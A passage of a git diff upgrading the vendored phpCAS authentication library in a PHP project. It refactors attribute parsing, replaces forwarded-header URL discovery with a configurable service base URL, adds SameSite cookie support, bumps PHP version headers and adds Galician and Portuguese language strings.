$arr the array to flatten + * e.g.: + * Array ( + * [attributes] => Array ( + * [attribute] => Array ( + * [0] => Array ( + * [name] => surname + * [value] => Smith + * ) + * [1] => Array ( + * [name] => givenName + * [value] => John + * ) + * [2] => Array ( + * [name] => memberOf + * [value] => ['CN=Staff,OU=Groups,DC=example,DC=edu', 'CN=Spanish Department,OU=Departments,OU=Groups,DC=example,DC=edu'] + * ) + * ) + * ) + * ) + * + * @return array the flattened array + * e.g.: + * Array ( + * [attribute] => Array ( + * [surname] => Smith + * [givenName] => John + * [memberOf] => Array ( + * [0] => CN=Staff, OU=Groups, DC=example, DC=edu + * [1] => CN=Spanish Department, OU=Departments, OU=Groups, DC=example, DC=edu + * ) + * ) + * ) + */ + private function _flatten_array($arr) + { + if (!is_array($arr)) { + if ($this->_startsWith($arr, '[') && $this->_endsWith($arr, ']')) { + return $this->_parse_json_like_array_value($arr); + } else { + return $arr; + } + } + $out = array(); + foreach ($arr as $key => $val) { + if (!is_array($val)) { + $out[$key] = $val; + } else { + switch (count($val)) { + case 1 : { + $key = key($val); + if (array_key_exists($key, $out)) { + $value = $out[$key]; + if (!is_array($value)) { + $out[$key] = array(); + $out[$key][] = $value; + } + $out[$key][] = $this->_flatten_array($val[$key]); + } else { + $out[$key] = $this->_flatten_array($val[$key]); + }; + break; + }; + case 2 : { + if (array_key_exists("name", $val) && array_key_exists("value", $val)) { + $key = $val['name']; + if (array_key_exists($key, $out)) { + $value = $out[$key]; + if (!is_array($value)) { + $out[$key] = array(); + $out[$key][] = $value; + } + $out[$key][] = $this->_flatten_array($val['value']); + } else { + $out[$key] = $this->_flatten_array($val['value']); + }; + } else { + $out[$key] = $this->_flatten_array($val); + } + break; + }; + default: { + $out[$key] = $this->_flatten_array($val); + } + } + } + } + return $out; + } /** * This method will parse the DOM and pull out the attributes from the XML @@ -3294,23 +3852,6 @@ class CAS_Client phpCAS::traceBegin(); $extra_attributes = array(); - - // "Jasig Style" Attributes: - // - // - // - // jsmith - // - // RubyCAS - // Smith - // John - // CN=Staff,OU=Groups,DC=example,DC=edu - // CN=Spanish Department,OU=Departments,OU=Groups,DC=example,DC=edu - // - // PGTIOU-84678-8a9d2sfa23casd - // - // - // if ($this->_casAttributeParserCallbackFunction !== null && is_callable($this->_casAttributeParserCallbackFunction) ) { @@ -3320,111 +3861,19 @@ class CAS_Client $this->_casAttributeParserCallbackFunction, $this->_casAttributeParserCallbackArgs ); - } elseif ( $success_elements->item(0)->getElementsByTagName("attributes")->length != 0) { - $attr_nodes = $success_elements->item(0) - ->getElementsByTagName("attributes"); - phpCAS :: trace("Found nested jasig style attributes"); - if ($attr_nodes->item(0)->hasChildNodes()) { - // Nested Attributes - foreach ($attr_nodes->item(0)->childNodes as $attr_child) { - phpCAS :: trace( - "Attribute [".$attr_child->localName."] = " - .$attr_child->nodeValue - ); - $this->_addAttributeToArray( - $extra_attributes, $attr_child->localName, - $attr_child->nodeValue - ); - } - } } else { - // "RubyCAS Style" attributes - // - // - // - // jsmith - // - // RubyCAS - // Smith - // John - // CN=Staff,OU=Groups,DC=example,DC=edu - // CN=Spanish Department,OU=Departments,OU=Groups,DC=example,DC=edu - // - // PGTIOU-84678-8a9d2sfa23casd - // - // - // - phpCAS :: trace("Testing for rubycas style attributes"); - $childnodes = $success_elements->item(0)->childNodes; - foreach ($childnodes as $attr_node) { - switch ($attr_node->localName) { - case 'user': - case 'proxies': - case 'proxyGrantingTicket': - break; - default: - if (strlen(trim($attr_node->nodeValue))) { - phpCAS :: trace( - "Attribute [".$attr_node->localName."] = ".$attr_node->nodeValue - ); - $this->_addAttributeToArray( - $extra_attributes, $attr_node->localName, - $attr_node->nodeValue - ); - } - } - } + phpCAS :: trace("Parse extra attributes: "); + $attributes = $this->_xml_to_array($success_elements->item(0)); + phpCAS :: trace(print_r($attributes,true). "\nFLATTEN Array: "); + $extra_attributes = $this->_flatten_array($attributes); + phpCAS :: trace(print_r($extra_attributes, true)."\nFILTER : "); + if (array_key_exists("attribute", $extra_attributes)) { + $extra_attributes = $extra_attributes["attribute"]; + } elseif (array_key_exists("attributes", $extra_attributes)) { + $extra_attributes = $extra_attributes["attributes"]; + }; + phpCAS :: trace(print_r($extra_attributes, true)."return"); } - - // "Name-Value" attributes. - // - // Attribute format from these mailing list thread: - // http://jasig.275507.n4.nabble.com/CAS-attributes-and-how-they-appear-in-the-CAS-response-td264272.html - // Note: This is a less widely used format, but in use by at least two institutions. - // - // - // - // jsmith - // - // - // - // - // - // - // - // PGTIOU-84678-8a9d2sfa23casd - // - // - // - if (!count($extra_attributes) - && $success_elements->item(0)->getElementsByTagName("attribute")->length != 0 - ) { - $attr_nodes = $success_elements->item(0) - ->getElementsByTagName("attribute"); - $firstAttr = $attr_nodes->item(0); - if (!$firstAttr->hasChildNodes() - && $firstAttr->hasAttribute('name') - && $firstAttr->hasAttribute('value') - ) { - phpCAS :: trace("Found Name-Value style attributes"); - // Nested Attributes - foreach ($attr_nodes as $attr_node) { - if ($attr_node->hasAttribute('name') - && $attr_node->hasAttribute('value') - ) { - phpCAS :: trace( - "Attribute [".$attr_node->getAttribute('name') - ."] = ".$attr_node->getAttribute('value') - ); - $this->_addAttributeToArray( - $extra_attributes, $attr_node->getAttribute('name'), - $attr_node->getAttribute('value') - ); - } - } - } - } - $this->setAttributes($extra_attributes); phpCAS::traceEnd(); return true; @@ -3489,9 +3938,9 @@ class CAS_Client */ public function setURL($url) { - // Argument Validation - if (gettype($url) != 'string') - throw new CAS_TypeMismatchException($url, '$url', 'string'); + // Argument Validation + if (gettype($url) != 'string') + throw new CAS_TypeMismatchException($url, '$url', 'string'); $this->_url = $url; } @@ -3508,12 +3957,9 @@ class CAS_Client // the URL is built when needed only if ( empty($this->_url) ) { // remove the ticket if present in the URL - $final_uri = ($this->_isHttps()) ? 'https' : 'http'; - $final_uri .= '://'; - - $final_uri .= $this->_getClientUrl(); - $request_uri = explode('?', $_SERVER['REQUEST_URI'], 2); - $final_uri .= $request_uri[0]; + $final_uri = $this->getServiceBaseUrl()->get(); + $request_uri = explode('?', $_SERVER['REQUEST_URI'], 2); + $final_uri .= $request_uri[0]; if (isset($request_uri[1]) && $request_uri[1]) { $query_string= $this->_removeParameterFromQueryString('ticket', $request_uri[1]); @@ -3521,7 +3967,7 @@ class CAS_Client // If the query string still has anything left, // append it to the final URI if ($query_string !== '') { - $final_uri .= "?$query_string"; + $final_uri .= "?$query_string"; } } @@ -3541,72 +3987,68 @@ class CAS_Client */ public function setBaseURL($url) { - // Argument Validation - if (gettype($url) != 'string') - throw new CAS_TypeMismatchException($url, '$url', 'string'); + // Argument Validation + if (gettype($url) != 'string') + throw new CAS_TypeMismatchException($url, '$url', 'string'); return $this->_server['base_url'] = $url; } + /** + * The ServiceBaseUrl object that provides base URL during service URL + * discovery process. + * + * @var CAS_ServiceBaseUrl_Interface + * + * @hideinitializer + */ + private $_serviceBaseUrl = null; /** - * Try to figure out the phpCAS client URL with possible Proxys / Ports etc. + * Answer the CAS_ServiceBaseUrl_Interface object for this client. * - * @return string Server URL with domain:port + * @return CAS_ServiceBaseUrl_Interface */ - private function _getClientUrl() + public function getServiceBaseUrl() { - if (!empty($_SERVER['HTTP_X_FORWARDED_HOST'])) { - // explode the host list separated by comma and use the first host - $hosts = explode(',', $_SERVER['HTTP_X_FORWARDED_HOST']); - // see rfc7239#5.3 and rfc7230#2.7.1: port is in HTTP_X_FORWARDED_HOST if non default - return $hosts[0]; - } else if (!empty($_SERVER['HTTP_X_FORWARDED_SERVER'])) { - $server_url = $_SERVER['HTTP_X_FORWARDED_SERVER']; - } else { - if (empty($_SERVER['SERVER_NAME'])) { - $server_url = $_SERVER['HTTP_HOST']; - } else { - $server_url = $_SERVER['SERVER_NAME']; - } + if (empty($this->_serviceBaseUrl)) { + phpCAS::error("ServiceBaseUrl object is not initialized"); } - if (!strpos($server_url, ':')) { - if (empty($_SERVER['HTTP_X_FORWARDED_PORT'])) { - $server_port = $_SERVER['SERVER_PORT']; - } else { - $ports = explode(',', $_SERVER['HTTP_X_FORWARDED_PORT']); - $server_port = $ports[0]; - } - - if ( ($this->_isHttps() && $server_port!=443) - || (!$this->_isHttps() && $server_port!=80) - ) { - $server_url .= ':'; - $server_url .= $server_port; - } - } - return $server_url; + return $this->_serviceBaseUrl; } /** - * This method checks to see if the request is secured via HTTPS + * This method sets the service base URL used during service URL discovery process. * - * @return bool true if https, false otherwise + * This is required since phpCAS 1.6.0 to protect the integrity of the authentication. + * + * @since phpCAS 1.6.0 + * + * @param $name can be any of the following: + * - A base URL string. The service URL discovery will always use this (protocol, + * hostname and optional port number) without using any external host names. + * - An array of base URL strings. The service URL discovery will check against + * this list before using the auto discovered base URL. If there is no match, + * the first base URL in the array will be used as the default. This option is + * helpful if your PHP website is accessible through multiple domains without a + * canonical name, or through both HTTP and HTTPS. + * - A class that implements CAS_ServiceBaseUrl_Interface. If you need to customize + * the base URL discovery behavior, you can pass in a class that implements the + * interface. + * + * @return void */ - private function _isHttps() + private function _setServiceBaseUrl($name) { - if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])) { - return ($_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); - } elseif (!empty($_SERVER['HTTP_X_FORWARDED_PROTOCOL'])) { - return ($_SERVER['HTTP_X_FORWARDED_PROTOCOL'] === 'https'); - } elseif ( isset($_SERVER['HTTPS']) - && !empty($_SERVER['HTTPS']) - && strcasecmp($_SERVER['HTTPS'], 'off') !== 0 - ) { - return true; + if (is_array($name)) { + $this->_serviceBaseUrl = new CAS_ServiceBaseUrl_AllowedListDiscovery($name); + } else if (is_string($name)) { + $this->_serviceBaseUrl = new CAS_ServiceBaseUrl_Static($name); + } else if ($name instanceof CAS_ServiceBaseUrl_Interface) { + $this->_serviceBaseUrl = $name; + } else { + throw new CAS_TypeMismatchException($name, '$name', 'array, string, or CAS_ServiceBaseUrl_Interface object'); } - return false; - } /** @@ -3646,38 +4088,29 @@ class CAS_Client } /** - * Renaming the session + * This method tests if a string starts with a given character. * - * @param string $ticket name of the ticket + * @param string $text text to test + * @param string $char character to test for * - * @return void + * @return bool true if the $text starts with $char */ - private function _renameSession($ticket) + private function _startsWith($text, $char) { - phpCAS::traceBegin(); - if ($this->getChangeSessionID()) { - if (!empty($this->_user)) { - $old_session = $_SESSION; - phpCAS :: trace("Killing session: ". session_id()); - session_destroy(); - // set up a new session, of name based on the ticket - $session_id = $this->_sessionIdForTicket($ticket); - phpCAS :: trace("Starting session: ". $session_id); - session_id($session_id); - session_start(); - phpCAS :: trace("Restoring old session vars"); - $_SESSION = $old_session; - } else { - phpCAS :: trace ( - 'Session should only be renamed after successfull authentication' - ); - } - } else { - phpCAS :: trace( - "Skipping session rename since phpCAS is not handling the session." - ); - } - phpCAS::traceEnd(); + return (strpos($text, $char) === 0); + } + + /** + * This method tests if a string ends with a given character + * + * @param string $text text to test + * @param string $char character to test for + * + * @return bool true if the $text ends with $char + */ + private function _endsWith($text, $char) + { + return (strpos(strrev($text), $char) === 0); } /** @@ -3747,7 +4180,7 @@ class CAS_Client phpCAS::traceBegin(); $lang = $this->getLangObj(); $this->printHTMLHeader($lang->getAuthenticationFailed()); - printf( + $this->printf( $lang->getYouWereNotAuthenticated(), htmlentities($this->getURL()), isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN']:'' ); @@ -3828,9 +4261,9 @@ class CAS_Client */ public function addRebroadcastNode($rebroadcastNodeUrl) { - // Argument validation - if ( !(bool)preg_match("/^(http|https):\/\/([A-Z0-9][A-Z0-9_-]*(?:\.[A-Z0-9][A-Z0-9_-]*)+):?(\d+)?\/?/i", $rebroadcastNodeUrl)) - throw new CAS_TypeMismatchException($rebroadcastNodeUrl, '$rebroadcastNodeUrl', 'url'); + // Argument validation + if ( !(bool)preg_match("/^(http|https):\/\/([A-Z0-9][A-Z0-9_-]*(?:\.[A-Z0-9][A-Z0-9_-]*)+):?(\d+)?\/?/i", $rebroadcastNodeUrl)) + throw new CAS_TypeMismatchException($rebroadcastNodeUrl, '$rebroadcastNodeUrl', 'url'); // Store the rebroadcast node and set flag $this->_rebroadcast = true; @@ -3852,8 +4285,8 @@ class CAS_Client */ public function addRebroadcastHeader($header) { - if (gettype($header) != 'string') - throw new CAS_TypeMismatchException($header, '$header', 'string'); + if (gettype($header) != 'string') + throw new CAS_TypeMismatchException($header, '$header', 'string'); $this->_rebroadcast_headers[] = $header; } diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/CookieJar.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/CookieJar.php index 38f849dfe..b2439373a 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/CookieJar.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/CookieJar.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/CookieJar.php * @category Authentication @@ -231,6 +231,7 @@ class CAS_CookieJar case 'commenturl': case 'discard': case 'httponly': + case 'samesite': $cookie[$attributeNameLC] = $attributeValue; break; default: diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Exception.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Exception.php index d956d1975..2ff7cd658 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Exception.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Exception.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Exception.php * @category Authentication @@ -56,4 +56,4 @@ interface CAS_Exception { } -?> \ No newline at end of file +?> diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/GracefullTerminationException.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/GracefullTerminationException.php index d1d035c39..29aa638cd 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/GracefullTerminationException.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/GracefullTerminationException.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/GracefullTerminationException.php * @category Authentication @@ -83,4 +83,4 @@ implements CAS_Exception } } -?> \ No newline at end of file +?> diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/InvalidArgumentException.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/InvalidArgumentException.php index ba43d39f8..99be2ac32 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/InvalidArgumentException.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/InvalidArgumentException.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/InvalidArgumentException.php * @category Authentication @@ -43,4 +43,4 @@ implements CAS_Exception { } -?> \ No newline at end of file +?> diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Catalan.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Catalan.php index a0b64d8eb..1ead905fc 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Catalan.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Catalan.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Language/Catalan.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/ChineseSimplified.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/ChineseSimplified.php index bb665937e..5e33cb650 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/ChineseSimplified.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/ChineseSimplified.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Language/ChineseSimplified.php * @category Authentication @@ -111,4 +111,4 @@ class CAS_Languages_ChineseSimplified implements CAS_Languages_LanguageInterface { return '服务器 %s 不可用(%s)。'; } -} \ No newline at end of file +} diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/English.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/English.php index 002c1ba49..cb13bde93 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/English.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/English.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Language/English.php * @category Authentication @@ -111,4 +111,4 @@ class CAS_Languages_English implements CAS_Languages_LanguageInterface { return 'The service `%s\' is not available (%s).'; } -} \ No newline at end of file +} diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/French.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/French.php index b99847a7f..14f65aba2 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/French.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/French.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Language/French.php * @category Authentication @@ -113,4 +113,4 @@ class CAS_Languages_French implements CAS_Languages_LanguageInterface } } -?> \ No newline at end of file +?> diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Galego.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Galego.php new file mode 100644 index 000000000..d5bf40455 --- /dev/null +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Galego.php @@ -0,0 +1,117 @@ +aquí para continuar'; + } + + /** + * Get authentication failed string + * + * @return string authentication failed + */ + public function getAuthenticationFailed() + { + return 'Autenticación CAS errada!'; + } + + /** + * Get the your were not authenticated string + * + * @return string not authenticated + */ + public function getYouWereNotAuthenticated() + { + return ' +

Non estás autenticado

Podes volver tentalo facendo click aquí.

Se o problema persiste debería contactar con el administrador deste sitio.

'; + } + + /** + * Get the service unavailable string + * + * @return string service unavailable + */ + public function getServiceUnavailable() + { + return 'O servizo `%s\' non está dispoñible (%s).'; + } +} +?> diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/German.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/German.php index ed3150a80..b718b1452 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/German.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/German.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Language/German.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Greek.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Greek.php index 888ce2416..1cfb107e4 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Greek.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Greek.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Language/Greek.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Japanese.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Japanese.php index a15bf17b1..568148458 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Japanese.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Japanese.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Language/Japanese.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/LanguageInterface.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/LanguageInterface.php index 5de93aa7b..dfb0ac514 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/LanguageInterface.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/LanguageInterface.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Language/LanguageInterface.php * @category Authentication @@ -93,4 +93,4 @@ interface CAS_Languages_LanguageInterface public function getServiceUnavailable(); } -?> \ No newline at end of file +?> diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Portuguese.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Portuguese.php new file mode 100644 index 000000000..a927cad62 --- /dev/null +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Portuguese.php @@ -0,0 +1,114 @@ + + * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 + * @link https://apereo.atlassian.net/wiki/spaces/CASC/pages/103252517/phpCAS + */ + +/** + * Portuguese language class + * + * @class CAS_Languages_Portuguese + * @category Authentication + * @package PhpCAS + * @author Sherwin Harris + * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 + * @link https://apereo.atlassian.net/wiki/spaces/CASC/pages/103252517/phpCAS + * + * @sa @link internalLang Internationalization @endlink + * @ingroup internalLang + */ +class CAS_Languages_Portuguese implements CAS_Languages_LanguageInterface +{ + /** + * Get the using server string + * + * @return string using server + */ + public function getUsingServer() + { + return 'Usando o servidor'; + } + + /** + * Get authentication wanted string + * + * @return string authentication wanted + */ + public function getAuthenticationWanted() + { + return 'A autenticação do servidor CAS desejado!'; + } + + /** + * Get logout string + * + * @return string logout + */ + public function getLogout() + { + return 'Saida do servidor CAS desejado!'; + } + + /** + * Get the should have been redirected string + * + * @return string should have been redirected + */ + public function getShouldHaveBeenRedirected() + { + return 'Você já deve ter sido redirecionado para o servidor CAS. Clique aqui para continuar'; + } + + /** + * Get authentication failed string + * + * @return string authentication failed + */ + public function getAuthenticationFailed() + { + return 'A autenticação do servidor CAS falheu!'; + } + + /** + * Get the your were not authenticated string + * + * @return string not authenticated + */ + public function getYouWereNotAuthenticated() + { + return '

Você não foi autenticado.

Você pode enviar sua solicitação novamente clicando aqui.

Se o problema persistir, você pode entrar em contato com o administrador deste site.

'; + } + + /** + * Get the service unavailable string + * + * @return string service unavailable + */ + public function getServiceUnavailable() + { + return 'O serviço `%s\' não está disponível (%s).'; + } +} diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Spanish.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Spanish.php index 5675a41d8..c6ea50e74 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Spanish.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Spanish.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Language/Spanish.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceBeforeAuthenticationCallException.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceBeforeAuthenticationCallException.php index ef8309795..d4d7680de 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceBeforeAuthenticationCallException.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceBeforeAuthenticationCallException.php @@ -18,7 +18,7 @@ * limitations under the License. * * - * PHP Version 5 + * PHP Version 7 * * @file CAS/OutOfSequenceBeforeAuthenticationCallException.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceBeforeClientException.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceBeforeClientException.php index f1ea7e244..6c2c39c58 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceBeforeClientException.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceBeforeClientException.php @@ -18,7 +18,7 @@ * limitations under the License. * * - * PHP Version 5 + * PHP Version 7 * * @file CAS/OutOfSequenceBeforeClientException.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceBeforeProxyException.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceBeforeProxyException.php index 8038542ed..799155521 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceBeforeProxyException.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceBeforeProxyException.php @@ -18,7 +18,7 @@ * limitations under the License. * * - * PHP Version 5 + * PHP Version 7 * * @file CAS/OutOfSequenceBeforeProxyException.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceException.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceException.php index d101811b6..d6f7d88fc 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceException.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/OutOfSequenceException.php @@ -18,7 +18,7 @@ * limitations under the License. * * - * PHP Version 5 + * PHP Version 7 * * @file CAS/OutOfSequenceException.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/PGTStorage/AbstractStorage.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/PGTStorage/AbstractStorage.php index 0f3471118..a93568d60 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/PGTStorage/AbstractStorage.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/PGTStorage/AbstractStorage.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/PGTStorage/AbstractStorage.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/PGTStorage/Db.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/PGTStorage/Db.php index 383d11dc7..2efe5a3e8 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/PGTStorage/Db.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/PGTStorage/Db.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/PGTStorage/Db.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/PGTStorage/File.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/PGTStorage/File.php index 6504ec599..fbacd3b7d 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/PGTStorage/File.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/PGTStorage/File.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/PGTStorage/AbstractStorage.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService.php index d70ca9c12..2673ee955 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/ProxiedService.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Abstract.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Abstract.php index fade9e70b..0801c723b 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Abstract.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Abstract.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/ProxiedService/Abstract.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Exception.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Exception.php index 5a1e69622..0f87413dd 100644 --- 